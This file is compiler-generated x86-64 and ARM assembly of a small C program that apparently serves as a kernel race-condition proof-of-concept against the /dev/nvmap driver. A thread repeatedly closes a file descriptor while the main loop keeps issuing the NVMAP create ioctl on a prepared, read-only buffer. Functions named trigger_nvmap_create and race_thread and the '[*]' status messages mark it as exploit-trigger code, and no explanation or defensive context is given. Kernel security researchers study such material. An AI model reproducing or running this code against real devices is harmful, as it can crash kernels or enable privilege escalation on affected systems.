	.file	"22012901.c"
	.intel_syntax noprefix
	.text
	.globl	g_fd
	.data
	.align 4
	.type	g_fd, @object
	.size	g_fd, 4
g_fd:
	.long	-1
	.local	cond
	.comm	cond,48,32
	.local	mutex
	.comm	mutex,40,32
	.globl	g_allocation
	.bss
	.align 8
	.type	g_allocation, @object
	.size	g_allocation, 8
g_allocation:
	.zero	8
	.globl	g_allocation_dup
	.align 8
	.type	g_allocation_dup, @object
	.size	g_allocation_dup, 8
g_allocation_dup:
	.zero	8
	.section	.rodata
.LC0:
	.string	"/dev/nvmap"
	.align 8
.LC1:
	.string	"[*] open file(%s) failed, errno=%d\n"
.LC2:
	.string	"[*] open file(%s) succ!\n"
	.text
	.globl	open_driver
	.type	open_driver, @function
open_driver:
.LFB6:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	sub	rsp, 16
	lea	rax, .LC0[rip]
	mov	QWORD PTR -8[rbp], rax
	mov	rax, QWORD PTR -8[rbp]
	mov	esi, 2
	mov	rdi, rax
	mov	eax, 0
	call	open@PLT
	mov	DWORD PTR g_fd[rip], eax
	mov	eax, DWORD PTR g_fd[rip]
	test	eax, eax
	jns	.L2
	call	__errno_location@PLT
	mov	edx, DWORD PTR [rax]
	mov	rax, QWORD PTR -8[rbp]
	mov	rsi, rax
	lea	rdi, .LC1[rip]
	mov	eax, 0
	call	printf@PLT
	jmp	.L3
.L2:
	mov	rax, QWORD PTR -8[rbp]
	mov	rsi, rax
	lea	rdi, .LC2[rip]
	mov	eax, 0
	call	printf@PLT
.L3:
	mov	eax, DWORD PTR g_fd[rip]
	leave
	.cfi_def_cfa 7, 8
	ret
	.cfi_endproc
.LFE6:
	.size	open_driver, .-open_driver
	.globl	trigger_nvmap_create
	.type	trigger_nvmap_create, @function
trigger_nvmap_create:
.LFB7:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	mov	rdx, QWORD PTR g_allocation[rip]
	mov	eax, DWORD PTR g_fd[rip]
	mov	esi, 3221769728
	mov	edi, eax
	mov	eax, 0
	call	ioctl@PLT
	nop
	pop	rbp
	.cfi_def_cfa 7, 8
	ret
	.cfi_endproc
.LFE7:
	.size	trigger_nvmap_create, .-trigger_nvmap_create
	.globl	trigger_nvmap_create_dup
	.type	trigger_nvmap_create_dup, @function
trigger_nvmap_create_dup:
.LFB8:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	sub	rsp, 16
	mov	DWORD PTR -4[rbp], edi
	mov	eax, DWORD PTR -4[rbp]
	mov	DWORD PTR g_allocation_dup[rip], eax
	mov	eax, DWORD PTR g_fd[rip]
	lea	rdx, g_allocation_dup[rip]
	mov	esi, 3221769744
	mov	edi, eax
	mov	eax, 0
	call	ioctl@PLT
	nop
	leave
	.cfi_def_cfa 7, 8
	ret
	.cfi_endproc
.LFE8:
	.size	trigger_nvmap_create_dup, .-trigger_nvmap_create_dup
	.globl	trigger_nvmap_alloc
	.type	trigger_nvmap_alloc, @function
trigger_nvmap_alloc:
.LFB9:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	sub	rsp, 32
	mov	rax, QWORD PTR fs:40
	mov	QWORD PTR -8[rbp], rax
	xor	eax, eax
	mov	QWORD PTR -32[rbp], 0
	mov	QWORD PTR -24[rbp], 0
	mov	DWORD PTR -20[rbp], 4096
	mov	DWORD PTR -28[rbp], 1
	mov	DWORD PTR -24[rbp], 32
	mov	rax, QWORD PTR g_allocation[rip]
	mov	eax, DWORD PTR 4[rax]
	mov	DWORD PTR -32[rbp], eax
	mov	eax, DWORD PTR g_fd[rip]
	lea	rdx, -32[rbp]
	mov	esi, 1074810371
	mov	edi, eax
	mov	eax, 0
	call	ioctl@PLT
	nop
	mov	rax, QWORD PTR -8[rbp]
	sub	rax, QWORD PTR fs:40
	je	.L8
	call	__stack_chk_fail@PLT
.L8:
	leave
	.cfi_def_cfa 7, 8
	ret
	.cfi_endproc
.LFE9:
	.size	trigger_nvmap_alloc, .-trigger_nvmap_alloc
	.globl	trigger_nvmap_free
	.type	trigger_nvmap_free, @function
trigger_nvmap_free:
.LFB10:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	sub	rsp, 16
	mov	DWORD PTR -4[rbp], edi
	mov	eax, DWORD PTR g_fd[rip]
	mov	edx, DWORD PTR -4[rbp]
	mov	esi, 19972
	mov	edi, eax
	mov	eax, 0
	call	ioctl@PLT
	nop
	leave
	.cfi_def_cfa 7, 8
	ret
	.cfi_endproc
.LFE10:
	.size	trigger_nvmap_free, .-trigger_nvmap_free
	.globl	setup_privi_and_affinity
	.type	setup_privi_and_affinity, @function
setup_privi_and_affinity:
.LFB11:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	sub	rsp, 16
	mov	DWORD PTR -4[rbp], edi
	mov	QWORD PTR -16[rbp], rsi
	call	gettid@PLT
	mov	ecx, eax
	mov	eax, DWORD PTR -4[rbp]
	mov	edx, eax
	mov	esi, ecx
	mov	edi, 0
	call	setpriority@PLT
	call	gettid@PLT
	mov	ecx, eax
	lea	rax, -16[rbp]
	mov	rdx, rax
	mov	esi, 8
	mov	edi, ecx
	call	sched_setaffinity@PLT
	nop
	leave
	.cfi_def_cfa 7, 8
	ret
	.cfi_endproc
.LFE11:
	.size	setup_privi_and_affinity, .-setup_privi_and_affinity
	.section	.rodata
.LC3:
	.string	"[*] data = %p\n"
.LC4:
	.string	"[*] mprotect, error = %d\n"
	.text
	.globl	prepare_data
	.type	prepare_data, @function
prepare_data:
.LFB12:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	sub	rsp, 16
	mov	esi, 16384
	mov	edi, 4096
	mov	eax, 0
	call	memalign@PLT
	cdqe
	mov	QWORD PTR -8[rbp], rax
	mov	rax, QWORD PTR -8[rbp]
	mov	rsi, rax
	lea	rdi, .LC3[rip]
	mov	eax, 0
	call	printf@PLT
	mov	rax, QWORD PTR -8[rbp]
	mov	QWORD PTR g_allocation[rip], rax
	mov	rax, QWORD PTR g_allocation[rip]
	mov	DWORD PTR [rax], 1024
	mov	rax, QWORD PTR g_allocation[rip]
	mov	DWORD PTR 4[rax], -1
	mov	rax, QWORD PTR -8[rbp]
	mov	edx, 1
	mov	esi, 4096
	mov	rdi, rax
	call	mprotect@PLT
	call	__errno_location@PLT
	mov	eax, DWORD PTR [rax]
	mov	esi, eax
	lea	rdi, .LC4[rip]
	mov	eax, 0
	call	printf@PLT
	nop
	leave
	.cfi_def_cfa 7, 8
	ret
	.cfi_endproc
.LFE12:
	.size	prepare_data, .-prepare_data
	.globl	race_thread
	.type	race_thread, @function
race_thread:
.LFB13:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	sub	rsp, 16
	mov	QWORD PTR -8[rbp], rdi
	mov	esi, 2
	mov	edi, -10
	call	setup_privi_and_affinity
	lea	rdi, mutex[rip]
	call	pthread_mutex_lock@PLT
	lea	rsi, mutex[rip]
	lea	rdi, cond[rip]
	call	pthread_cond_wait@PLT
	lea	rdi, mutex[rip]
	call	pthread_mutex_unlock@PLT
.L13:
	mov	edi, 1024
	call	close@PLT
	jmp	.L13
	.cfi_endproc
.LFE13:
	.size	race_thread, .-race_thread
	.globl	main
	.type	main, @function
main:
.LFB14:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	sub	rsp, 32
	mov	DWORD PTR -20[rbp], edi
	mov	QWORD PTR -32[rbp], rsi
	mov	rax, QWORD PTR fs:40
	mov	QWORD PTR -8[rbp], rax
	xor	eax, eax
	mov	esi, 1
	mov	edi, -10
	call	setup_privi_and_affinity
	mov	eax, 0
	call	open_driver
	test	eax, eax
	jns	.L15
	mov	eax, -1
	mov	rdx, QWORD PTR -8[rbp]
	sub	rdx, QWORD PTR fs:40
	je	.L18
	jmp	.L19
.L15:
	mov	eax, 0
	call	prepare_data
	lea	rax, -16[rbp]
	mov	ecx, 0
	lea	rdx, race_thread[rip]
	mov	esi, 0
	mov	rdi, rax
	call	pthread_create@PLT
	mov	edi, 100000
	call	usleep@PLT
	lea	rdi, cond[rip]
	call	pthread_cond_signal@PLT
	mov	edi, 20
	call	usleep@PLT
.L17:
	mov	eax, 0
	call	trigger_nvmap_create
	jmp	.L17
.L19:
	call	__stack_chk_fail@PLT
.L18:
	leave
	.cfi_def_cfa 7, 8
	ret
	.cfi_endproc
.LFE14:
	.size	main, .-main
	.ident	"GCC: (Ubuntu 10.5.0-1ubuntu1~20.04) 10.5.0"
	.section	.note.GNU-stack,"",@progbits
	.section	.note.gnu.property,"a"
	.align 8
	.long	 1f - 0f
	.long	 4f - 1f
	.long	 5
0:
	.string	 "GNU"
1:
	.align 8
	.long	 0xc0000002
	.long	 3f - 2f
2:
	.long	 0x3
3:
	.align 8
4:

	.arch armv5t
	.eabi_attribute 20, 1
	.eabi_attribute 21, 1
	.eabi_attribute 23, 3
	.eabi_attribute 24, 1
	.eabi_attribute 25, 1
	.eabi_attribute 26, 2
	.eabi_attribute 30, 6
	.eabi_attribute 34, 0
	.eabi_attribute 18, 4
	.file	"22012901.c"
	.text
	.global	g_fd
	.data
	.align	2
	.type	g_fd, %object
	.size	g_fd, 4
g_fd:
	.word	-1
	.local	cond
	.comm	cond,48,8
	.local	mutex
	.comm	mutex,24,4
	.global	g_allocation
	.bss
	.align	2
	.type	g_allocation, %object
	.size	g_allocation, 4
g_allocation:
	.space	4
	.comm	g_allocation_dup,8,4
	.section	.rodata
	.align	2
.LC0:
	.ascii	"/dev/nvmap\000"
	.align	2
.LC1:
	.ascii	"[*] open file(%s) failed, errno=%d\012\000"
	.align	2
.LC2:
	.ascii	"[*] open file(%s) succ!\012\000"
	.text
	.align	2
	.global	open_driver
	.syntax unified
	.arm
	.fpu softvfp
	.type	open_driver, %function
open_driver:
	@ args = 0, pretend = 0, frame = 8
	@ frame_needed = 1, uses_anonymous_args = 0
	push	{fp, lr}
	add	fp, sp, #4
	sub	sp, sp, #8
	ldr	r3, .L5
	str	r3, [fp, #-8]
	mov	r1, #2
	ldr	r0, [fp, #-8]
	bl	open
	mov	r3, r0
	ldr	r2, .L5+4
	str	r3, [r2]
	ldr	r3, .L5+4
	ldr	r3, [r3]
	cmp	r3, #0
	bge	.L2
	bl	__errno_location
	mov	r3, r0
	ldr	r3, [r3]
	mov	r2, r3
	ldr	r1, [fp, #-8]
	ldr	r0, .L5+8
	bl	printf
	b	.L3
.L2:
	ldr	r1, [fp, #-8]
	ldr	r0, .L5+12
	bl	printf
.L3:
	ldr	r3, .L5+4
	ldr	r3, [r3]
	mov	r0, r3
	sub	sp, fp, #4
	@ sp needed
	pop	{fp, pc}
.L6:
	.align	2
.L5:
	.word	.LC0
	.word	g_fd
	.word	.LC1
	.word	.LC2
	.size	open_driver, .-open_driver
	.align	2
	.global	trigger_nvmap_create
	.syntax unified
	.arm
	.fpu softvfp
	.type	trigger_nvmap_create, %function
trigger_nvmap_create:
	@ args = 0, pretend = 0, frame = 0
	@ frame_needed = 1, uses_anonymous_args = 0
	push	{fp, lr}
	add	fp, sp, #4
	ldr	r3, .L8
	ldr	r3, [r3]
	ldr	r2, .L8+4
	ldr	r2, [r2]
	ldr	r1, .L8+8
	mov	r0, r3
	bl	ioctl
	nop
	pop	{fp, pc}
.L9:
	.align	2
.L8:
	.word	g_fd
	.word	g_allocation
	.word	-1073197568
	.size	trigger_nvmap_create, .-trigger_nvmap_create
	.align	2
	.global	trigger_nvmap_create_dup
	.syntax unified
	.arm
	.fpu softvfp
	.type	trigger_nvmap_create_dup, %function
trigger_nvmap_create_dup:
	@ args = 0, pretend = 0, frame = 8
	@ frame_needed = 1, uses_anonymous_args = 0
	push	{fp, lr}
	add	fp, sp, #4
	sub	sp, sp, #8
	str	r0, [fp, #-8]
	ldr	r2, .L11
	ldr	r3, [fp, #-8]
	str	r3, [r2]
	ldr	r3, .L11+4
	ldr	r3, [r3]
	ldr	r2, .L11
	ldr	r1, .L11+8
	mov	r0, r3
	bl	ioctl
	nop
	sub	sp, fp, #4
	@ sp needed
	pop	{fp, pc}
.L12:
	.align	2
.L11:
	.word	g_allocation_dup
	.word	g_fd
	.word	-1073197552
	.size	trigger_nvmap_create_dup, .-trigger_nvmap_create_dup
	.section	.rodata
	.align	2
.LC3:
	.word	__stack_chk_guard
	.text
	.align	2
	.global	trigger_nvmap_alloc
	.syntax unified
	.arm
	.fpu softvfp
	.type	trigger_nvmap_alloc, %function
trigger_nvmap_alloc:
	@ args = 0, pretend = 0, frame = 24
	@ frame_needed = 1, uses_anonymous_args = 0
	push	{fp, lr}
	add	fp, sp, #4
	sub	sp, sp, #24
	ldr	r3, .L15
	ldr	r3, [r3]
	str	r3, [fp, #-8]
	mov	r3,#0
	sub	r3, fp, #24
	mov	r2, #0
	str	r2, [r3]
	str	r2, [r3, #4]
	str	r2, [r3, #8]
	str	r2, [r3, #12]
	mov	r3, #4096
	str	r3, [fp, #-12]
	mov	r3, #1
	str	r3, [fp, #-20]
	mov	r3, #32
	str	r3, [fp, #-16]
	ldr	r3, .L15+4
	ldr	r3, [r3]
	ldr	r3, [r3, #4]
	str	r3, [fp, #-24]
	ldr	r3, .L15+8
	ldr	r3, [r3]
	sub	r2, fp, #24
	ldr	r1, .L15+12
	mov	r0, r3
	bl	ioctl
	nop
	ldr	r3, .L15
	ldr	r2, [r3]
	ldr	r3, [fp, #-8]
	eors	r2, r3, r2
	mov	r3, #0
	beq	.L14
	bl	__stack_chk_fail
.L14:
	sub	sp, fp, #4
	@ sp needed
	pop	{fp, pc}
.L16:
	.align	2
.L15:
	.word	.LC3
	.word	g_allocation
	.word	g_fd
	.word	1074810371
	.size	trigger_nvmap_alloc, .-trigger_nvmap_alloc
	.align	2
	.global	trigger_nvmap_free
	.syntax unified
	.arm
	.fpu softvfp
	.type	trigger_nvmap_free, %function
trigger_nvmap_free:
	@ args = 0, pretend = 0, frame = 8
	@ frame_needed = 1, uses_anonymous_args = 0
	push	{fp, lr}
	add	fp, sp, #4
	sub	sp, sp, #8
	str	r0, [fp, #-8]
	ldr	r3, .L18
	ldr	r3, [r3]
	ldr	r2, [fp, #-8]
	ldr	r1, .L18+4
	mov	r0, r3
	bl	ioctl
	nop
	sub	sp, fp, #4
	@ sp needed
	pop	{fp, pc}
.L19:
	.align	2
.L18:
	.word	g_fd
	.word	19972
	.size	trigger_nvmap_free, .-trigger_nvmap_free
	.align	2
	.global	setup_privi_and_affinity
	.syntax unified
	.arm
	.fpu softvfp
	.type	setup_privi_and_affinity, %function
setup_privi_and_affinity:
	@ args = 0, pretend = 0, frame = 8
	@ frame_needed = 1, uses_anonymous_args = 0
	push	{fp, lr}
	add	fp, sp, #4
	sub	sp, sp, #8
	str	r0, [fp, #-8]
	str	r1, [fp, #-12]
	bl	gettid
	mov	r3, r0
	ldr	r2, [fp, #-8]
	mov	r1, r3
	mov	r0, #0
	bl	setpriority
	bl	gettid
	sub	r3, fp, #12
	mov	r2, r3
	mov	r1, #4
	bl	sched_setaffinity
	nop
	sub	sp, fp, #4
	@ sp needed
	pop	{fp, pc}
	.size	setup_privi_and_affinity, .-setup_privi_and_affinity
	.section	.rodata
	.align	2
.LC4:
	.ascii	"[*] data = %p\012\000"
	.align	2
.LC5:
	.ascii	"[*] mprotect, error = %d\012\000"
	.text
	.align	2
	.global	prepare_data
	.syntax unified
	.arm
	.fpu softvfp
	.type	prepare_data, %function
prepare_data:
	@ args = 0, pretend = 0, frame = 8
	@ frame_needed = 1, uses_anonymous_args = 0
	push	{fp, lr}
	add	fp, sp, #4
	sub	sp, sp, #8
	mov	r1, #16384
	mov	r0, #4096
	bl	memalign
	mov	r3, r0
	str	r3, [fp, #-8]
	ldr	r1, [fp, #-8]
	ldr	r0, .L22
	bl	printf
	ldr	r2, .L22+4
	ldr	r3, [fp, #-8]
	str	r3, [r2]
	ldr	r3, .L22+4
	ldr	r3, [r3]
	mov	r2, #1024
	str	r2, [r3]
	ldr	r3, .L22+4
	ldr	r3, [r3]
	mvn	r2, #0
	str	r2, [r3, #4]
	mov	r2, #1
	mov	r1, #4096
	ldr	r0, [fp, #-8]
	bl	mprotect
	bl	__errno_location
	mov	r3, r0
	ldr	r3, [r3]
	mov	r1, r3
	ldr	r0, .L22+8
	bl	printf
	nop
	sub	sp, fp, #4
	@ sp needed
	pop	{fp, pc}
.L23:
	.align	2
.L22:
	.word	.LC4
	.word	g_allocation
	.word	.LC5
	.size	prepare_data, .-prepare_data
	.align	2
	.global	race_thread
	.syntax unified
	.arm
	.fpu softvfp
	.type	race_thread, %function
race_thread:
	@ args = 0, pretend = 0, frame = 8
	@ frame_needed = 1, uses_anonymous_args = 0
	push	{fp, lr}
	add	fp, sp, #4
	sub	sp, sp, #8
	str	r0, [fp, #-8]
	mov	r1, #2
	mvn	r0, #9
	bl	setup_privi_and_affinity
	ldr	r0, .L26
	bl	pthread_mutex_lock
	ldr	r1, .L26
	ldr	r0, .L26+4
	bl	pthread_cond_wait
	ldr	r0, .L26
	bl	pthread_mutex_unlock
.L25:
	mov	r0, #1024
	bl	close
	b	.L25
.L27:
	.align	2
.L26:
	.word	mutex
	.word	cond
	.size	race_thread, .-race_thread
	.section	.rodata
	.align	2
.LC6:
	.word	__stack_chk_guard
	.text
	.align	2
	.global	main
	.syntax unified
	.arm
	.fpu softvfp
	.type	main, %function
main:
	@ args = 0, pretend = 0, frame = 16
	@ frame_needed = 1, uses_anonymous_args = 0
	push	{fp, lr}
	add	fp, sp, #4
	sub	sp, sp, #16
	str	r0, [fp, #-16]
	str	r1, [fp, #-20]
	ldr	r3, .L34
	ldr	r3, [r3]
	str	r3, [fp, #-8]
	mov	r3,#0
	mov	r1, #1
	mvn	r0, #9
	bl	setup_privi_and_affinity
	bl	open_driver
	mov	r3, r0
	cmp	r3, #0
	bge	.L29
	mvn	r3, #0
	ldr	r2, .L34
	ldr	r1, [r2]
	ldr	r2, [fp, #-8]
	eors	r1, r2, r1
	mov	r2, #0
	beq	.L32
	b	.L33
.L29:
	bl	prepare_data
	sub	r0, fp, #12
	mov	r3, #0
	ldr	r2, .L34+4
	mov	r1, #0
	bl	pthread_create
	ldr	r0, .L34+8
	bl	usleep
	ldr	r0, .L34+12
	bl	pthread_cond_signal
	mov	r0, #20
	bl	usleep
.L31:
	bl	trigger_nvmap_create
	b	.L31
.L33:
	bl	__stack_chk_fail
.L32:
	mov	r0, r3
	sub	sp, fp, #4
	@ sp needed
	pop	{fp, pc}
.L35:
	.align	2
.L34:
	.word	.LC6
	.word	race_thread
	.word	100000
	.word	cond
	.size	main, .-main
	.ident	"GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
	.section	.note.GNU-stack,"",%progbits
